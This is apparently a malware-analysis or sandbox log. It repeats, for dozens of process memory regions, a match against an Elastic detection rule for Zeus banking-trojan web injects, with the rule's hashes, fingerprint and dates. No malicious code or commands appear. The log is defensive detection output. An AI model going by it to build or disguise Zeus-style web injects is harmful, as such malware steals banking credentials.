Source: 00000002.00000003.2775654849.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2587965689.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3417374807.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2793511340.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2763018604.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2754985393.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000018.00000002.2705436372.00000000024F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000015.00000002.2699555610.0000000002CA0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000006.00000002.2605884801.00000000011E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2786368119.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000003.2148607507.0000000000703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001B.00000002.2725518370.0000000002E80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2776797358.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2763556222.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000009.00000002.2610626005.0000000000A20000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2775373199.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2522335301.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000010.00000002.2611939403.0000000002AF0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2519685174.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2763964877.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000007.00000002.2632861320.0000000000FE0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000027.00000002.2871812715.0000000000CD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001E.00000002.2759598984.00000000025F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2808903395.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2761135252.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000010.00000002.2612614586.0000000002B80000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2726433713.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2633125874.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2774233552.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2517359385.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001E.00000002.2785000519.00000000027A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2168260986.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2844886273.0000000001550000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3416553301.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2760597306.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2773682224.0000000000B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2649332327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000013.00000002.2639288300.00000000011D0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
